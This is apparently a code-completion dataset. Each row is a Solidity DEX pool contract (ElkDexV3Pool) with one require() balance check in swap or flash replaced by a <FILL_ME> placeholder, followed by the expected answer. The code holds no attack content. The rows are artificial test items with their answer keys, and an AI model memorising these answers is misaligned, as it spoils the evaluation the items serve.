state.amountSpecifiedRemaining += step.amountOut.toInt256();
state.amountCalculated = state.amountCalculated.add((step.amountIn + step.feeAmount).toInt256());
}
// if the protocol fee is on, calculate how much is owed, decrement feeAmount, and increment protocolFee
if (cache.feeProtocol > 0) {
uint256 delta = step.feeAmount / cache.feeProtocol;
step.feeAmount -= delta;
state.protocolFee += uint128(delta);
}
// update global fee tracker
if (state.liquidity > 0)
state.feeGrowthGlobalX128 += FullMath.mulDiv(step.feeAmount, FixedPoint128.Q128, state.liquidity);
// shift tick if we reached the next price
if (state.sqrtPriceX96 == step.sqrtPriceNextX96) {
// if the tick is initialized, run the tick transition
if (step.initialized) {
// check for the placeholder value, which we replace with the actual value the first time the swap
// crosses an initialized tick
if (!cache.computedLatestObservation) {
(cache.tickCumulative, cache.secondsPerLiquidityCumulativeX128) = observations.observeSingle(
cache.blockTimestamp,
0,
slot0Start.tick,
slot0Start.observationIndex,
cache.liquidityStart,
slot0Start.observationCardinality
);
cache.computedLatestObservation = true;
}
int128 liquidityNet =
ticks.cross(
step.tickNext,
(zeroForOne ? state.feeGrowthGlobalX128 : feeGrowthGlobal0X128),
(zeroForOne ? feeGrowthGlobal1X128 : state.feeGrowthGlobalX128),
cache.secondsPerLiquidityCumulativeX128,
cache.tickCumulative,
cache.blockTimestamp
);
// if we're moving leftward, we interpret liquidityNet as the opposite sign
// safe because liquidityNet cannot be type(int128).min
if (zeroForOne) liquidityNet = -liquidityNet;
state.liquidity = LiquidityMath.addDelta(state.liquidity, liquidityNet);
}
state.tick = zeroForOne ? step.tickNext - 1 : step.tickNext;
} else if (state.sqrtPriceX96 != step.sqrtPriceStartX96) {
// recompute unless we're on a lower tick boundary (i.e. already transitioned ticks), and haven't moved
state.tick = TickMath.getTickAtSqrtRatio(state.sqrtPriceX96);
}
}
// update tick and write an oracle entry if the tick change
if (state.tick != slot0Start.tick) {
(uint16 observationIndex, uint16 observationCardinality) =
observations.write(
slot0Start.observationIndex,
cache.blockTimestamp,
slot0Start.tick,
cache.liquidityStart,
slot0Start.observationCardinality,
slot0Start.observationCardinalityNext
);
(slot0.sqrtPriceX96, slot0.tick, slot0.observationIndex, slot0.observationCardinality) = (
state.sqrtPriceX96,
state.tick,
observationIndex,
observationCardinality
);
} else {
// otherwise just update the price
slot0.sqrtPriceX96 = state.sqrtPriceX96;
}
// update liquidity if it changed
if (cache.liquidityStart != state.liquidity) liquidity = state.liquidity;
// update fee growth global and, if necessary, protocol fees
// overflow is acceptable, protocol has to withdraw before it hits type(uint128).max fees
if (zeroForOne) {
feeGrowthGlobal0X128 = state.feeGrowthGlobalX128;
if (state.protocolFee > 0) protocolFees.token0 += state.protocolFee;
} else {
feeGrowthGlobal1X128 = state.feeGrowthGlobalX128;
if (state.protocolFee > 0) protocolFees.token1 += state.protocolFee;
}
(amount0, amount1) = zeroForOne == exactInput
? (amountSpecified - state.amountSpecifiedRemaining, state.amountCalculated)
: (state.amountCalculated, amountSpecified - state.amountSpecifiedRemaining);
// do the transfers and collect payment
if (zeroForOne) {
if (amount1 < 0) TransferHelper.safeTransfer(token1, recipient, uint256(-amount1));
uint256 balance0Before = balance0();
IElkDexV3SwapCallback(msg.sender).elkDexV3SwapCallback(amount0, amount1, data);
require(<FILL_ME>)
} else {
if (amount0 < 0) TransferHelper.safeTransfer(token0, recipient, uint256(-amount0));
uint256 balance1Before = balance1();
IElkDexV3SwapCallback(msg.sender).elkDexV3SwapCallback(amount0, amount1, data);
require(balance1Before.add(uint256(amount1)) <= balance1(), 'IIA');
}
emit Swap(msg.sender, recipient, amount0, amount1, state.sqrtPriceX96, state.liquidity, state.tick);
slot0.unlocked = true;
}
/// @inheritdoc IElkDexV3PoolActions
function flash(
address recipient,
uint256 amount0,
uint256 amount1,
bytes calldata data
) external override lock noDelegateCall {
}
/// @inheritdoc IElkDexV3PoolOwnerActions
function setFeeProtocol(uint8 feeProtocol0, uint8 feeProtocol1) external override lock onlyFactoryOwner {
}
/// @inheritdoc IElkDexV3PoolOwnerActions
function collectProtocol(
address recipient,
uint128 amount0Requested,
uint128 amount1Requested
) external override lock onlyFactoryOwner returns (uint128 amount0, uint128 amount1) {
}
}
| balance0Before.add(uint256(amount0))<=balance0(),'IIA' | 108,689 | balance0Before.add(uint256(amount0))<=balance0() |
'IIA' | // SPDX-License-Identifier: BUSL-1.1
pragma solidity =0.7.6;
import './interfaces/IElkDexV3Pool.sol';
import './NoDelegateCall.sol';
import './libraries/LowGasSafeMath.sol';
import './libraries/SafeCast.sol';
import './libraries/Tick.sol';
import './libraries/TickBitmap.sol';
import './libraries/Position.sol';
import './libraries/Oracle.sol';
import './libraries/FullMath.sol';
import './libraries/FixedPoint128.sol';
import './libraries/TransferHelper.sol';
import './libraries/TickMath.sol';
import './libraries/LiquidityMath.sol';
import './libraries/SqrtPriceMath.sol';
import './libraries/SwapMath.sol';
import './interfaces/IElkDexV3PoolDeployer.sol';
import './interfaces/IElkDexV3Factory.sol';
import './interfaces/IERC20Minimal.sol';
import './interfaces/callback/IElkDexV3MintCallback.sol';
import './interfaces/callback/IElkDexV3SwapCallback.sol';
import './interfaces/callback/IElkDexV3FlashCallback.sol';
contract ElkDexV3Pool is IElkDexV3Pool, NoDelegateCall {
using LowGasSafeMath for uint256;
using LowGasSafeMath for int256;
using SafeCast for uint256;
using SafeCast for int256;
using Tick for mapping(int24 => Tick.Info);
using TickBitmap for mapping(int16 => uint256);
using Position for mapping(bytes32 => Position.Info);
using Position for Position.Info;
using Oracle for Oracle.Observation[65535];
/// @inheritdoc IElkDexV3PoolImmutables
address public immutable override factory;
/// @inheritdoc IElkDexV3PoolImmutables
address public immutable override token0;
/// @inheritdoc IElkDexV3PoolImmutables
address public immutable override token1;
/// @inheritdoc IElkDexV3PoolImmutables
uint24 public immutable override fee;
/// @inheritdoc IElkDexV3PoolImmutables
int24 public immutable override tickSpacing;
/// @inheritdoc IElkDexV3PoolImmutables
uint128 public immutable override maxLiquidityPerTick;
struct Slot0 {
// the current price
uint160 sqrtPriceX96;
// the current tick
int24 tick;
// the most-recently updated index of the observations array
uint16 observationIndex;
// the current maximum number of observations that are being stored
uint16 observationCardinality;
// the next maximum number of observations to store, triggered in observations.write
uint16 observationCardinalityNext;
// the current protocol fee as a percentage of the swap fee taken on withdrawal
// represented as an integer denominator (1/x)%
uint8 feeProtocol;
// whether the pool is locked
bool unlocked;
}
/// @inheritdoc IElkDexV3PoolState
Slot0 public override slot0;
/// @inheritdoc IElkDexV3PoolState
uint256 public override feeGrowthGlobal0X128;
/// @inheritdoc IElkDexV3PoolState
uint256 public override feeGrowthGlobal1X128;
// accumulated protocol fees in token0/token1 units
struct ProtocolFees {
uint128 token0;
uint128 token1;
}
/// @inheritdoc IElkDexV3PoolState
ProtocolFees public override protocolFees;
/// @inheritdoc IElkDexV3PoolState
uint128 public override liquidity;
/// @inheritdoc IElkDexV3PoolState
mapping(int24 => Tick.Info) public override ticks;
/// @inheritdoc IElkDexV3PoolState
mapping(int16 => uint256) public override tickBitmap;
/// @inheritdoc IElkDexV3PoolState
mapping(bytes32 => Position.Info) public override positions;
/// @inheritdoc IElkDexV3PoolState
Oracle.Observation[65535] public override observations;
/// @dev Mutually exclusive reentrancy protection into the pool to/from a method. This method also prevents entrance
/// to a function before the pool is initialized. The reentrancy guard is required throughout the contract because
/// we use balance checks to determine the payment status of interactions such as mint, swap and flash.
modifier lock() {
}
/// @dev Prevents calling a function from anyone except the address returned by IElkDexV3Factory#owner()
modifier onlyFactoryOwner() {
}
constructor() {
}
/// @dev Common checks for valid tick inputs.
function checkTicks(int24 tickLower, int24 tickUpper) private pure {
}
/// @dev Returns the block timestamp truncated to 32 bits, i.e. mod 2**32. This method is overridden in tests.
function _blockTimestamp() internal view virtual returns (uint32) {
}
/// @dev Get the pool's balance of token0
/// @dev This function is gas optimized to avoid a redundant extcodesize check in addition to the returndatasize
/// check
function balance0() private view returns (uint256) {
}
/// @dev Get the pool's balance of token1
/// @dev This function is gas optimized to avoid a redundant extcodesize check in addition to the returndatasize
/// check
function balance1() private view returns (uint256) {
}
/// @inheritdoc IElkDexV3PoolDerivedState
function snapshotCumulativesInside(int24 tickLower, int24 tickUpper)
external
view
override
noDelegateCall
returns (
int56 tickCumulativeInside,
uint160 secondsPerLiquidityInsideX128,
uint32 secondsInside
)
{
}
/// @inheritdoc IElkDexV3PoolDerivedState
function observe(uint32[] calldata secondsAgos)
external
view
override
noDelegateCall
returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s)
{
}
/// @inheritdoc IElkDexV3PoolActions
function increaseObservationCardinalityNext(uint16 observationCardinalityNext)
external
override
lock
noDelegateCall
{
}
/// @inheritdoc IElkDexV3PoolActions
/// @dev not locked because it initializes unlocked
function initialize(uint160 sqrtPriceX96) external override {
}
struct ModifyPositionParams {
// the address that owns the position
address owner;
// the lower and upper tick of the position
int24 tickLower;
int24 tickUpper;
// any change in liquidity
int128 liquidityDelta;
}
/// @dev Effect some changes to a position
/// @param params the position details and the change to the position's liquidity to effect
/// @return position a storage pointer referencing the position with the given owner and tick range
/// @return amount0 the amount of token0 owed to the pool, negative if the pool should pay the recipient
/// @return amount1 the amount of token1 owed to the pool, negative if the pool should pay the recipient
function _modifyPosition(ModifyPositionParams memory params)
private
noDelegateCall
returns (
Position.Info storage position,
int256 amount0,
int256 amount1
)
{
}
/// @dev Gets and updates a position with the given liquidity delta
/// @param owner the owner of the position
/// @param tickLower the lower tick of the position's tick range
/// @param tickUpper the upper tick of the position's tick range
/// @param tick the current tick, passed to avoid sloads
function _updatePosition(
address owner,
int24 tickLower,
int24 tickUpper,
int128 liquidityDelta,
int24 tick
) private returns (Position.Info storage position) {
}
/// @inheritdoc IElkDexV3PoolActions
/// @dev noDelegateCall is applied indirectly via _modifyPosition
function mint(
address recipient,
int24 tickLower,
int24 tickUpper,
uint128 amount,
bytes calldata data
) external override lock returns (uint256 amount0, uint256 amount1) {
}
/// @inheritdoc IElkDexV3PoolActions
function collect(
address recipient,
int24 tickLower,
int24 tickUpper,
uint128 amount0Requested,
uint128 amount1Requested
) external override lock returns (uint128 amount0, uint128 amount1) {
}
/// @inheritdoc IElkDexV3PoolActions
/// @dev noDelegateCall is applied indirectly via _modifyPosition
function burn(
int24 tickLower,
int24 tickUpper,
uint128 amount
) external override lock returns (uint256 amount0, uint256 amount1) {
}
struct SwapCache {
// the protocol fee for the input token
uint8 feeProtocol;
// liquidity at the beginning of the swap
uint128 liquidityStart;
// the timestamp of the current block
uint32 blockTimestamp;
// the current value of the tick accumulator, computed only if we cross an initialized tick
int56 tickCumulative;
// the current value of seconds per liquidity accumulator, computed only if we cross an initialized tick
uint160 secondsPerLiquidityCumulativeX128;
// whether we've computed and cached the above two accumulators
bool computedLatestObservation;
}
// the top level state of the swap, the results of which are recorded in storage at the end
struct SwapState {
// the amount remaining to be swapped in/out of the input/output asset
int256 amountSpecifiedRemaining;
// the amount already swapped out/in of the output/input asset
int256 amountCalculated;
// current sqrt(price)
uint160 sqrtPriceX96;
// the tick associated with the current price
int24 tick;
// the global fee growth of the input token
uint256 feeGrowthGlobalX128;
// amount of input token paid as protocol fee
uint128 protocolFee;
// the current liquidity in range
uint128 liquidity;
}
struct StepComputations {
// the price at the beginning of the step
uint160 sqrtPriceStartX96;
// the next tick to swap to from the current tick in the swap direction
int24 tickNext;
// whether tickNext is initialized or not
bool initialized;
// sqrt(price) for the next tick (1/0)
uint160 sqrtPriceNextX96;
// how much is being swapped in in this step
uint256 amountIn;
// how much is being swapped out
uint256 amountOut;
// how much fee is being paid in
uint256 feeAmount;
}
/// @inheritdoc IElkDexV3PoolActions
function swap(
address recipient,
bool zeroForOne,
int256 amountSpecified,
uint160 sqrtPriceLimitX96,
bytes calldata data
) external override noDelegateCall returns (int256 amount0, int256 amount1) {
require(amountSpecified != 0, 'AS');
Slot0 memory slot0Start = slot0;
require(slot0Start.unlocked, 'LOK');
require(
zeroForOne
? sqrtPriceLimitX96 < slot0Start.sqrtPriceX96 && sqrtPriceLimitX96 > TickMath.MIN_SQRT_RATIO
: sqrtPriceLimitX96 > slot0Start.sqrtPriceX96 && sqrtPriceLimitX96 < TickMath.MAX_SQRT_RATIO,
'SPL'
);
slot0.unlocked = false;
SwapCache memory cache =
SwapCache({
liquidityStart: liquidity,
blockTimestamp: _blockTimestamp(),
feeProtocol: zeroForOne ? (slot0Start.feeProtocol % 16) : (slot0Start.feeProtocol >> 4),
secondsPerLiquidityCumulativeX128: 0,
tickCumulative: 0,
computedLatestObservation: false
});
bool exactInput = amountSpecified > 0;
SwapState memory state =
SwapState({
amountSpecifiedRemaining: amountSpecified,
amountCalculated: 0,
sqrtPriceX96: slot0Start.sqrtPriceX96,
tick: slot0Start.tick,
feeGrowthGlobalX128: zeroForOne ? feeGrowthGlobal0X128 : feeGrowthGlobal1X128,
protocolFee: 0,
liquidity: cache.liquidityStart
});
// continue swapping as long as we haven't used the entire input/output and haven't reached the price limit
while (state.amountSpecifiedRemaining != 0 && state.sqrtPriceX96 != sqrtPriceLimitX96) {
StepComputations memory step;
step.sqrtPriceStartX96 = state.sqrtPriceX96;
(step.tickNext, step.initialized) = tickBitmap.nextInitializedTickWithinOneWord(
state.tick,
tickSpacing,
zeroForOne
);
// ensure that we do not overshoot the min/max tick, as the tick bitmap is not aware of these bounds
if (step.tickNext < TickMath.MIN_TICK) {
step.tickNext = TickMath.MIN_TICK;
} else if (step.tickNext > TickMath.MAX_TICK) {
step.tickNext = TickMath.MAX_TICK;
}
// get the price for the next tick
step.sqrtPriceNextX96 = TickMath.getSqrtRatioAtTick(step.tickNext);
// compute values to swap to the target tick, price limit, or point where input/output amount is exhausted
(state.sqrtPriceX96, step.amountIn, step.amountOut, step.feeAmount) = SwapMath.computeSwapStep(
state.sqrtPriceX96,
(zeroForOne ? step.sqrtPriceNextX96 < sqrtPriceLimitX96 : step.sqrtPriceNextX96 > sqrtPriceLimitX96)
? sqrtPriceLimitX96
: step.sqrtPriceNextX96,
state.liquidity,
state.amountSpecifiedRemaining,
fee
);
if (exactInput) {
state.amountSpecifiedRemaining -= (step.amountIn + step.feeAmount).toInt256();
state.amountCalculated = state.amountCalculated.sub(step.amountOut.toInt256());
} else {
state.amountSpecifiedRemaining += step.amountOut.toInt256();
state.amountCalculated = state.amountCalculated.add((step.amountIn + step.feeAmount).toInt256());
}
// if the protocol fee is on, calculate how much is owed, decrement feeAmount, and increment protocolFee
if (cache.feeProtocol > 0) {
uint256 delta = step.feeAmount / cache.feeProtocol;
step.feeAmount -= delta;
state.protocolFee += uint128(delta);
}
// update global fee tracker
if (state.liquidity > 0)
state.feeGrowthGlobalX128 += FullMath.mulDiv(step.feeAmount, FixedPoint128.Q128, state.liquidity);
// shift tick if we reached the next price
if (state.sqrtPriceX96 == step.sqrtPriceNextX96) {
// if the tick is initialized, run the tick transition
if (step.initialized) {
// check for the placeholder value, which we replace with the actual value the first time the swap
// crosses an initialized tick
if (!cache.computedLatestObservation) {
(cache.tickCumulative, cache.secondsPerLiquidityCumulativeX128) = observations.observeSingle(
cache.blockTimestamp,
0,
slot0Start.tick,
slot0Start.observationIndex,
cache.liquidityStart,
slot0Start.observationCardinality
);
cache.computedLatestObservation = true;
}
int128 liquidityNet =
ticks.cross(
step.tickNext,
(zeroForOne ? state.feeGrowthGlobalX128 : feeGrowthGlobal0X128),
(zeroForOne ? feeGrowthGlobal1X128 : state.feeGrowthGlobalX128),
cache.secondsPerLiquidityCumulativeX128,
cache.tickCumulative,
cache.blockTimestamp
);
// if we're moving leftward, we interpret liquidityNet as the opposite sign
// safe because liquidityNet cannot be type(int128).min
if (zeroForOne) liquidityNet = -liquidityNet;
state.liquidity = LiquidityMath.addDelta(state.liquidity, liquidityNet);
}
state.tick = zeroForOne ? step.tickNext - 1 : step.tickNext;
} else if (state.sqrtPriceX96 != step.sqrtPriceStartX96) {
// recompute unless we're on a lower tick boundary (i.e. already transitioned ticks), and haven't moved
state.tick = TickMath.getTickAtSqrtRatio(state.sqrtPriceX96);
}
}
// update tick and write an oracle entry if the tick change
if (state.tick != slot0Start.tick) {
(uint16 observationIndex, uint16 observationCardinality) =
observations.write(
slot0Start.observationIndex,
cache.blockTimestamp,
slot0Start.tick,
cache.liquidityStart,
slot0Start.observationCardinality,
slot0Start.observationCardinalityNext
);
(slot0.sqrtPriceX96, slot0.tick, slot0.observationIndex, slot0.observationCardinality) = (
state.sqrtPriceX96,
state.tick,
observationIndex,
observationCardinality
);
} else {
// otherwise just update the price
slot0.sqrtPriceX96 = state.sqrtPriceX96;
}
// update liquidity if it changed
if (cache.liquidityStart != state.liquidity) liquidity = state.liquidity;
// update fee growth global and, if necessary, protocol fees
// overflow is acceptable, protocol has to withdraw before it hits type(uint128).max fees
if (zeroForOne) {
feeGrowthGlobal0X128 = state.feeGrowthGlobalX128;
if (state.protocolFee > 0) protocolFees.token0 += state.protocolFee;
} else {
feeGrowthGlobal1X128 = state.feeGrowthGlobalX128;
if (state.protocolFee > 0) protocolFees.token1 += state.protocolFee;
}
(amount0, amount1) = zeroForOne == exactInput
? (amountSpecified - state.amountSpecifiedRemaining, state.amountCalculated)
: (state.amountCalculated, amountSpecified - state.amountSpecifiedRemaining);
// do the transfers and collect payment
if (zeroForOne) {
if (amount1 < 0) TransferHelper.safeTransfer(token1, recipient, uint256(-amount1));
uint256 balance0Before = balance0();
IElkDexV3SwapCallback(msg.sender).elkDexV3SwapCallback(amount0, amount1, data);
require(balance0Before.add(uint256(amount0)) <= balance0(), 'IIA');
} else {
if (amount0 < 0) TransferHelper.safeTransfer(token0, recipient, uint256(-amount0));
uint256 balance1Before = balance1();
IElkDexV3SwapCallback(msg.sender).elkDexV3SwapCallback(amount0, amount1, data);
require(<FILL_ME>)
}
emit Swap(msg.sender, recipient, amount0, amount1, state.sqrtPriceX96, state.liquidity, state.tick);
slot0.unlocked = true;
}
/// @inheritdoc IElkDexV3PoolActions
function flash(
address recipient,
uint256 amount0,
uint256 amount1,
bytes calldata data
) external override lock noDelegateCall {
}
/// @inheritdoc IElkDexV3PoolOwnerActions
function setFeeProtocol(uint8 feeProtocol0, uint8 feeProtocol1) external override lock onlyFactoryOwner {
}
/// @inheritdoc IElkDexV3PoolOwnerActions
function collectProtocol(
address recipient,
uint128 amount0Requested,
uint128 amount1Requested
) external override lock onlyFactoryOwner returns (uint128 amount0, uint128 amount1) {
}
}
| balance1Before.add(uint256(amount1))<=balance1(),'IIA' | 108,689 | balance1Before.add(uint256(amount1))<=balance1() |
'F0' | // SPDX-License-Identifier: BUSL-1.1
pragma solidity =0.7.6;
import './interfaces/IElkDexV3Pool.sol';
import './NoDelegateCall.sol';
import './libraries/LowGasSafeMath.sol';
import './libraries/SafeCast.sol';
import './libraries/Tick.sol';
import './libraries/TickBitmap.sol';
import './libraries/Position.sol';
import './libraries/Oracle.sol';
import './libraries/FullMath.sol';
import './libraries/FixedPoint128.sol';
import './libraries/TransferHelper.sol';
import './libraries/TickMath.sol';
import './libraries/LiquidityMath.sol';
import './libraries/SqrtPriceMath.sol';
import './libraries/SwapMath.sol';
import './interfaces/IElkDexV3PoolDeployer.sol';
import './interfaces/IElkDexV3Factory.sol';
import './interfaces/IERC20Minimal.sol';
import './interfaces/callback/IElkDexV3MintCallback.sol';
import './interfaces/callback/IElkDexV3SwapCallback.sol';
import './interfaces/callback/IElkDexV3FlashCallback.sol';
contract ElkDexV3Pool is IElkDexV3Pool, NoDelegateCall {
using LowGasSafeMath for uint256;
using LowGasSafeMath for int256;
using SafeCast for uint256;
using SafeCast for int256;
using Tick for mapping(int24 => Tick.Info);
using TickBitmap for mapping(int16 => uint256);
using Position for mapping(bytes32 => Position.Info);
using Position for Position.Info;
using Oracle for Oracle.Observation[65535];
/// @inheritdoc IElkDexV3PoolImmutables
address public immutable override factory;
/// @inheritdoc IElkDexV3PoolImmutables
address public immutable override token0;
/// @inheritdoc IElkDexV3PoolImmutables
address public immutable override token1;
/// @inheritdoc IElkDexV3PoolImmutables
uint24 public immutable override fee;
/// @inheritdoc IElkDexV3PoolImmutables
int24 public immutable override tickSpacing;
/// @inheritdoc IElkDexV3PoolImmutables
uint128 public immutable override maxLiquidityPerTick;
struct Slot0 {
// the current price
uint160 sqrtPriceX96;
// the current tick
int24 tick;
// the most-recently updated index of the observations array
uint16 observationIndex;
// the current maximum number of observations that are being stored
uint16 observationCardinality;
// the next maximum number of observations to store, triggered in observations.write
uint16 observationCardinalityNext;
// the current protocol fee as a percentage of the swap fee taken on withdrawal
// represented as an integer denominator (1/x)%
uint8 feeProtocol;
// whether the pool is locked
bool unlocked;
}
/// @inheritdoc IElkDexV3PoolState
Slot0 public override slot0;
/// @inheritdoc IElkDexV3PoolState
uint256 public override feeGrowthGlobal0X128;
/// @inheritdoc IElkDexV3PoolState
uint256 public override feeGrowthGlobal1X128;
// accumulated protocol fees in token0/token1 units
struct ProtocolFees {
uint128 token0;
uint128 token1;
}
/// @inheritdoc IElkDexV3PoolState
ProtocolFees public override protocolFees;
/// @inheritdoc IElkDexV3PoolState
uint128 public override liquidity;
/// @inheritdoc IElkDexV3PoolState
mapping(int24 => Tick.Info) public override ticks;
/// @inheritdoc IElkDexV3PoolState
mapping(int16 => uint256) public override tickBitmap;
/// @inheritdoc IElkDexV3PoolState
mapping(bytes32 => Position.Info) public override positions;
/// @inheritdoc IElkDexV3PoolState
Oracle.Observation[65535] public override observations;
/// @dev Mutually exclusive reentrancy protection into the pool to/from a method. This method also prevents entrance
/// to a function before the pool is initialized. The reentrancy guard is required throughout the contract because
/// we use balance checks to determine the payment status of interactions such as mint, swap and flash.
modifier lock() {
}
/// @dev Prevents calling a function from anyone except the address returned by IElkDexV3Factory#owner()
modifier onlyFactoryOwner() {
}
constructor() {
}
/// @dev Common checks for valid tick inputs.
function checkTicks(int24 tickLower, int24 tickUpper) private pure {
}
/// @dev Returns the block timestamp truncated to 32 bits, i.e. mod 2**32. This method is overridden in tests.
function _blockTimestamp() internal view virtual returns (uint32) {
}
/// @dev Get the pool's balance of token0
/// @dev This function is gas optimized to avoid a redundant extcodesize check in addition to the returndatasize
/// check
function balance0() private view returns (uint256) {
}
/// @dev Get the pool's balance of token1
/// @dev This function is gas optimized to avoid a redundant extcodesize check in addition to the returndatasize
/// check
function balance1() private view returns (uint256) {
}
/// @inheritdoc IElkDexV3PoolDerivedState
function snapshotCumulativesInside(int24 tickLower, int24 tickUpper)
external
view
override
noDelegateCall
returns (
int56 tickCumulativeInside,
uint160 secondsPerLiquidityInsideX128,
uint32 secondsInside
)
{
}
/// @inheritdoc IElkDexV3PoolDerivedState
function observe(uint32[] calldata secondsAgos)
external
view
override
noDelegateCall
returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s)
{
}
/// @inheritdoc IElkDexV3PoolActions
function increaseObservationCardinalityNext(uint16 observationCardinalityNext)
external
override
lock
noDelegateCall
{
}
/// @inheritdoc IElkDexV3PoolActions
/// @dev not locked because it initializes unlocked
function initialize(uint160 sqrtPriceX96) external override {
}
struct ModifyPositionParams {
// the address that owns the position
address owner;
// the lower and upper tick of the position
int24 tickLower;
int24 tickUpper;
// any change in liquidity
int128 liquidityDelta;
}
/// @dev Effect some changes to a position
/// @param params the position details and the change to the position's liquidity to effect
/// @return position a storage pointer referencing the position with the given owner and tick range
/// @return amount0 the amount of token0 owed to the pool, negative if the pool should pay the recipient
/// @return amount1 the amount of token1 owed to the pool, negative if the pool should pay the recipient
function _modifyPosition(ModifyPositionParams memory params)
private
noDelegateCall
returns (
Position.Info storage position,
int256 amount0,
int256 amount1
)
{
}
/// @dev Gets and updates a position with the given liquidity delta
/// @param owner the owner of the position
/// @param tickLower the lower tick of the position's tick range
/// @param tickUpper the upper tick of the position's tick range
/// @param tick the current tick, passed to avoid sloads
function _updatePosition(
address owner,
int24 tickLower,
int24 tickUpper,
int128 liquidityDelta,
int24 tick
) private returns (Position.Info storage position) {
}
/// @inheritdoc IElkDexV3PoolActions
/// @dev noDelegateCall is applied indirectly via _modifyPosition
function mint(
address recipient,
int24 tickLower,
int24 tickUpper,
uint128 amount,
bytes calldata data
) external override lock returns (uint256 amount0, uint256 amount1) {
}
/// @inheritdoc IElkDexV3PoolActions
function collect(
address recipient,
int24 tickLower,
int24 tickUpper,
uint128 amount0Requested,
uint128 amount1Requested
) external override lock returns (uint128 amount0, uint128 amount1) {
}
/// @inheritdoc IElkDexV3PoolActions
/// @dev noDelegateCall is applied indirectly via _modifyPosition
function burn(
int24 tickLower,
int24 tickUpper,
uint128 amount
) external override lock returns (uint256 amount0, uint256 amount1) {
}
struct SwapCache {
// the protocol fee for the input token
uint8 feeProtocol;
// liquidity at the beginning of the swap
uint128 liquidityStart;
// the timestamp of the current block
uint32 blockTimestamp;
// the current value of the tick accumulator, computed only if we cross an initialized tick
int56 tickCumulative;
// the current value of seconds per liquidity accumulator, computed only if we cross an initialized tick
uint160 secondsPerLiquidityCumulativeX128;
// whether we've computed and cached the above two accumulators
bool computedLatestObservation;
}
// the top level state of the swap, the results of which are recorded in storage at the end
struct SwapState {
// the amount remaining to be swapped in/out of the input/output asset
int256 amountSpecifiedRemaining;
// the amount already swapped out/in of the output/input asset
int256 amountCalculated;
// current sqrt(price)
uint160 sqrtPriceX96;
// the tick associated with the current price
int24 tick;
// the global fee growth of the input token
uint256 feeGrowthGlobalX128;
// amount of input token paid as protocol fee
uint128 protocolFee;
// the current liquidity in range
uint128 liquidity;
}
struct StepComputations {
// the price at the beginning of the step
uint160 sqrtPriceStartX96;
// the next tick to swap to from the current tick in the swap direction
int24 tickNext;
// whether tickNext is initialized or not
bool initialized;
// sqrt(price) for the next tick (1/0)
uint160 sqrtPriceNextX96;
// how much is being swapped in in this step
uint256 amountIn;
// how much is being swapped out
uint256 amountOut;
// how much fee is being paid in
uint256 feeAmount;
}
/// @inheritdoc IElkDexV3PoolActions
function swap(
address recipient,
bool zeroForOne,
int256 amountSpecified,
uint160 sqrtPriceLimitX96,
bytes calldata data
) external override noDelegateCall returns (int256 amount0, int256 amount1) {
}
/// @inheritdoc IElkDexV3PoolActions
function flash(
address recipient,
uint256 amount0,
uint256 amount1,
bytes calldata data
) external override lock noDelegateCall {
uint128 _liquidity = liquidity;
require(_liquidity > 0, 'L');
uint256 fee0 = FullMath.mulDivRoundingUp(amount0, fee, 1e6);
uint256 fee1 = FullMath.mulDivRoundingUp(amount1, fee, 1e6);
uint256 balance0Before = balance0();
uint256 balance1Before = balance1();
if (amount0 > 0) TransferHelper.safeTransfer(token0, recipient, amount0);
if (amount1 > 0) TransferHelper.safeTransfer(token1, recipient, amount1);
IElkDexV3FlashCallback(msg.sender).elkDexV3FlashCallback(fee0, fee1, data);
uint256 balance0After = balance0();
uint256 balance1After = balance1();
require(<FILL_ME>)
require(balance1Before.add(fee1) <= balance1After, 'F1');
// sub is safe because we know balanceAfter is gt balanceBefore by at least fee
uint256 paid0 = balance0After - balance0Before;
uint256 paid1 = balance1After - balance1Before;
if (paid0 > 0) {
uint8 feeProtocol0 = slot0.feeProtocol % 16;
uint256 fees0 = feeProtocol0 == 0 ? 0 : paid0 / feeProtocol0;
if (uint128(fees0) > 0) protocolFees.token0 += uint128(fees0);
feeGrowthGlobal0X128 += FullMath.mulDiv(paid0 - fees0, FixedPoint128.Q128, _liquidity);
}
if (paid1 > 0) {
uint8 feeProtocol1 = slot0.feeProtocol >> 4;
uint256 fees1 = feeProtocol1 == 0 ? 0 : paid1 / feeProtocol1;
if (uint128(fees1) > 0) protocolFees.token1 += uint128(fees1);
feeGrowthGlobal1X128 += FullMath.mulDiv(paid1 - fees1, FixedPoint128.Q128, _liquidity);
}
emit Flash(msg.sender, recipient, amount0, amount1, paid0, paid1);
}
/// @inheritdoc IElkDexV3PoolOwnerActions
function setFeeProtocol(uint8 feeProtocol0, uint8 feeProtocol1) external override lock onlyFactoryOwner {
}
/// @inheritdoc IElkDexV3PoolOwnerActions
function collectProtocol(
address recipient,
uint128 amount0Requested,
uint128 amount1Requested
) external override lock onlyFactoryOwner returns (uint128 amount0, uint128 amount1) {
}
}
| balance0Before.add(fee0)<=balance0After,'F0' | 108,689 | balance0Before.add(fee0)<=balance0After |
'F1' | // SPDX-License-Identifier: BUSL-1.1
pragma solidity =0.7.6;
import './interfaces/IElkDexV3Pool.sol';
import './NoDelegateCall.sol';
import './libraries/LowGasSafeMath.sol';
import './libraries/SafeCast.sol';
import './libraries/Tick.sol';
import './libraries/TickBitmap.sol';
import './libraries/Position.sol';
import './libraries/Oracle.sol';
import './libraries/FullMath.sol';
import './libraries/FixedPoint128.sol';
import './libraries/TransferHelper.sol';
import './libraries/TickMath.sol';
import './libraries/LiquidityMath.sol';
import './libraries/SqrtPriceMath.sol';
import './libraries/SwapMath.sol';
import './interfaces/IElkDexV3PoolDeployer.sol';
import './interfaces/IElkDexV3Factory.sol';
import './interfaces/IERC20Minimal.sol';
import './interfaces/callback/IElkDexV3MintCallback.sol';
import './interfaces/callback/IElkDexV3SwapCallback.sol';
import './interfaces/callback/IElkDexV3FlashCallback.sol';
contract ElkDexV3Pool is IElkDexV3Pool, NoDelegateCall {
using LowGasSafeMath for uint256;
using LowGasSafeMath for int256;
using SafeCast for uint256;
using SafeCast for int256;
using Tick for mapping(int24 => Tick.Info);
using TickBitmap for mapping(int16 => uint256);
using Position for mapping(bytes32 => Position.Info);
using Position for Position.Info;
using Oracle for Oracle.Observation[65535];
/// @inheritdoc IElkDexV3PoolImmutables
address public immutable override factory;
/// @inheritdoc IElkDexV3PoolImmutables
address public immutable override token0;
/// @inheritdoc IElkDexV3PoolImmutables
address public immutable override token1;
/// @inheritdoc IElkDexV3PoolImmutables
